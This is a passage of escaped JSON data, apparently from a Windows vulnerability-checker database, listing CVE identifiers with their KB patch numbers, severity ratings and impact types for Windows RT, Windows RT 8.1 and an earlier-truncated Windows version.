Privilege\"},{\"cve\":\"CVE-2016-0151\",\"kb\":\"3146723\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3185331\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3197874\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012216\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012216\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012216\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012216\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012216\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012216\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012216\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012216\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019215\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019215\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041693\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4054519\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022726\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8469\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8488\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025336\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8680\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038792\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8684\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056895\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056895\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056895\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103725\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0832\",\"kb\":\"4074594\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0833\",\"kb\":\"4074594\",\"severity\":\"Moderate\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103725\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093114\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103725\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457129\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462926\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462926\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457129\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462926\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467703\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467697\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103725\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480963\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480963\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487000\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480963\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530702\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534297\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537821\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4541509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556846\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556846\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571703\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571703\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003209\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003209\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003671\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001382\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001382\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005613\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006714\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014738\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Windows RT\":[{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3893\",\"kb\":\"2879017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-7331\",\"kb\":\"2977629\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2901119\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4114\",\"kb\":\"3000869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0002\",\"kb\":\"3023266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3013455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0016\",\"kb\":\"3019978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1674\",\"kb\":\"3050514\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3087985\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108381\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3104002\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3110329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3110329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Windows RT 8.1\":[{\"cve\":\"CVE-2013-3893\",\"kb\":\"2884101\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-7331\",\"kb\":\"2977629\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2901128\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4114\",\"kb\":\"3000869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0002\",\"kb\":\"3023266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3023562\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0016\",\"kb\":\"3019978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1674\",\"kb\":\"3050514\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3087985\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108381\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3104002\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3110329\",\"severity\":\"\",\"impact\":\"Windows Library Loading\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126434\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0063\",\"kb\":\"3134814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3139914\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0151\",\"kb\":\"3146723\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3177108\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3197874\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3197874\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012216\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012216\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012216\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012216\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012216\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012216\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012216\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012216\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019215\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019215\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041693\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4054519\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022726\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8469\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8488\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025336\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8680\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038792\",\"severity\":\"Critical\",\"impact\":\"Remote Code 